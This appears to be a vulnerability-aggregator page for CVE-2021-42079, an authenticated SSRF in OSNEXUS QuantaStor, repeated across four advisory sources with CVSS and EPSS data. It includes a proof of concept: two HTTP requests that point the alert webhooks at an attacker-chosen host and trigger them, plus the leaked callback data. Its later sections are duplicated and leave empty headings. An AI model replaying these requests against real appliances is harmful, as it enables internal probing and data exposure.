CVE-2021-42079

SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355

6.2 Medium

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.

POC

Step 1: Prepare the SSRF with a request like this:

GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1

Host: <HOSTNAME> Accept-Encoding: gzip, deflate

Accept: / Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json

Content-Length: 0

Step 2: Trigger this alert with this request

GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1

Host: <HOSTNAME> Accept-Encoding: gzip, deflate

Accept: /

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json

Content-Length: 1

The post request received by <TARGET> looks like this: {

Python FLASK stuff

'endpoint': 'index', 'method': 'POST', 'cookies': ImmutableMultiDict([]),

END Python FLASK stuff

'data': b'{ "attachments": [ {

"fallback": "[122] test / test.",

"color": "#aa2222",

"title": "[122] test",

"text": "test",

"fields": [ {

"title": "Alert Severity", "value": "CRITICAL", "short": false }, { "title": "Appliance", "value": "quantastor (https://<HOSTNAME>)", "short": true

}, {

"title": "System / Driver / Kernel Ver",

"value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",

"short": false

}, {

"title": "System Startup",

"value": "Fri Aug 6 16-02-55 2021",

"short": true

}, {

"title": "SSID",

"value": "f4823762-1dd1-1333-47a0-6238c474a7e7",

"short": true

}, ],

"footer": "QuantaStor Call-home Alert",

"footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",

"ts": 1628461774 } ], "mrkdwn":true }', #### FLASK REQUEST STUFF #####

'headers': {

'Host': '<redacted>', 'User-Agent': 'curl/7.58.0', 'Accept': '/', 'Content-Type': 'application/json', 'Content-Length': '790'

}, 'args': ImmutableMultiDict([]), 'form': ImmutableMultiDict([]), 'remote_addr': '217.103.63.173', 'path': '/payload/58', 'whois_ip': 'TNF-AS, NL' }

END FLASK REQUEST STUFF

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: High
User interaction: Required

What an attacker can affect

Confidentiality: High
Integrity: None
Availability: None

Exploit likelihood

0.69%Up 0.6 points since Jul 10, 2023

What each source reports

CVE List Score used 6.2

SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.

POC

Step 1: Prepare the SSRF with a request like this:

Host: <HOSTNAME> Accept-Encoding: gzip, deflate

Accept: / Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json

Content-Length: 0

Step 2: Trigger this alert with this request

GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1

Host: <HOSTNAME> Accept-Encoding: gzip, deflate

Accept: /

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json

Content-Length: 1

The post request received by <TARGET> looks like this: {

Python FLASK stuff

'endpoint': 'index', 'method': 'POST', 'cookies': ImmutableMultiDict([]),

END Python FLASK stuff

'data': b'{ "attachments": [ {

"fallback": "[122] test / test.",

"color": "#aa2222",

"title": "[122] test",

"text": "test",

"fields": [ {

"title": "Alert Severity", "value": "CRITICAL", "short": false }, { "title": "Appliance", "value": "quantastor (https://<HOSTNAME>)", "short": true

}, {

"title": "System / Driver / Kernel Ver",

"value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",

"short": false

}, {

"title": "System Startup",

"value": "Fri Aug 6 16-02-55 2021",

"short": true

}, {

"title": "SSID",

"value": "f4823762-1dd1-1333-47a0-6238c474a7e7",

"short": true

}, ],

"footer": "QuantaStor Call-home Alert",

"footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",

"ts": 1628461774 } ], "mrkdwn":true }', #### FLASK REQUEST STUFF #####

'headers': {

'Host': '<redacted>', 'User-Agent': 'curl/7.58.0', 'Accept': '/', 'Content-Type': 'application/json', 'Content-Length': '790'

}, 'args': ImmutableMultiDict([]), 'form': ImmutableMultiDict([]), 'remote_addr': '217.103.63.173', 'path': '/payload/58', 'whois_ip': 'TNF-AS, NL' }

END FLASK REQUEST STUFF

Record: CVE-2021-42079
CVSS 3.1: 6.2 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N
Weakness: CWE-918
Updated: 2026-11-02

EUVDEUVD-2021-29065 6.2

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.

POC

Step 1: Prepare the SSRF with a request like this:

Host: <HOSTNAME> Accept-Encoding: gzip, deflate

Accept: / Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json

Content-Length: 0

Step 2: Trigger this alert with this request

GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1

Host: <HOSTNAME> Accept-Encoding: gzip, deflate

Accept: /

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json

Content-Length: 1

The post request received by <TARGET> looks like this: {

Python FLASK stuff

'endpoint': 'index', 'method': 'POST', 'cookies': ImmutableMultiDict([]),

END Python FLASK stuff

'data': b'{ "attachments": [ {

"fallback": "[122] test / test.",

"color": "#aa2222",

"title": "[122] test",

"text": "test",

"fields": [ {

"title": "Alert Severity", "value": "CRITICAL", "short": false }, { "title": "Appliance", "value": "quantastor (https://<HOSTNAME>)", "short": true

}, {

"title": "System / Driver / Kernel Ver",

"value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",

"short": false

}, {

"title": "System Startup",

"value": "Fri Aug 6 16-02-55 2021",

"short": true

}, {

"title": "SSID",

"value": "f4823762-1dd1-1333-47a0-6238c474a7e7",

"short": true

}, ],

"footer": "QuantaStor Call-home Alert",

"footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",

"ts": 1628461774 } ], "mrkdwn":true }', #### FLASK REQUEST STUFF #####

'headers': {

'Host': '<redacted>', 'User-Agent': 'curl/7.58.0', 'Accept': '/', 'Content-Type': 'application/json', 'Content-Length': '790'

}, 'args': ImmutableMultiDict([]), 'form': ImmutableMultiDict([]), 'remote_addr': '217.103.63.173', 'path': '/payload/58', 'whois_ip': 'TNF-AS, NL' }

END FLASK REQUEST STUFF

Record: EUVD-2021-29065
CVSS 3.1: 6.2 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N
Updated: 2026-11-02

GitHub AdvisoriesGHSA-4v64-w7v7-ch7f 6.2

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack...

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.

Record: GHSA-4v64-w7v7-ch7f
CVSS 3.1: 6.2 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N
Weakness: CWE-918
Updated: 2026-11-02

NVD 6.2

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.

POC

Step 1: Prepare the SSRF with a request like this:

Host: <HOSTNAME> Accept-Encoding: gzip, deflate

Accept: / Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json

Content-Length: 0

Step 2: Trigger this alert with this request

GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1

Host: <HOSTNAME> Accept-Encoding: gzip, deflate

Accept: /

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json

Content-Length: 1

The post request received by <TARGET> looks like this: {

Python FLASK stuff

'endpoint': 'index', 'method': 'POST', 'cookies': ImmutableMultiDict([]),

END Python FLASK stuff

'data': b'{ "attachments": [ {

"fallback": "[122] test / test.",

"color": "#aa2222",

"title": "[122] test",

"text": "test",

"fields": [ {

"title": "Alert Severity", "value": "CRITICAL", "short": false }, { "title": "Appliance", "value": "quantastor (https://<HOSTNAME>)", "short": true

}, {

"title": "System / Driver / Kernel Ver",

"value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",

"short": false

}, {

"title": "System Startup",

"value": "Fri Aug 6 16-02-55 2021",

"short": true

}, {

"title": "SSID",

"value": "f4823762-1dd1-1333-47a0-6238c474a7e7",

"short": true

}, ],

"footer": "QuantaStor Call-home Alert",

"footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",

"ts": 1628461774 } ], "mrkdwn":true }', #### FLASK REQUEST STUFF #####

'headers': {

'Host': '<redacted>', 'User-Agent': 'curl/7.58.0', 'Accept': '/', 'Content-Type': 'application/json', 'Content-Length': '790'

}, 'args': ImmutableMultiDict([]), 'form': ImmutableMultiDict([]), 'remote_addr': '217.103.63.173', 'path': '/payload/58', 'whois_ip': 'TNF-AS, NL' }

END FLASK REQUEST STUFF

Record: CVE-2021-42079
CVSS 3.1: 6.2 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N
CVSS 3.1: 4.9 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Weakness: CWE-918
Updated: 2026-11-02

Affected products

osnexus quantastor

History

History
Recorded	Changed	Sources
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2021-42079 is a medium vulnerability (CVSS 6.2) in Osnexus Quantastor, published July 10, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.69%, the 53rd percentile. No source names a fixed version.

Python FLASK stuff

END Python FLASK stuff

END FLASK REQUEST STUFF

Attack profile

How easy it is to exploit

What an attacker can affect

Exploit likelihood

What each source reports

Python FLASK stuff

END Python FLASK stuff

END FLASK REQUEST STUFF

Python FLASK stuff

END Python FLASK stuff

END FLASK REQUEST STUFF

Python FLASK stuff

END Python FLASK stuff

END FLASK REQUEST STUFF

Affected products

History

In short

References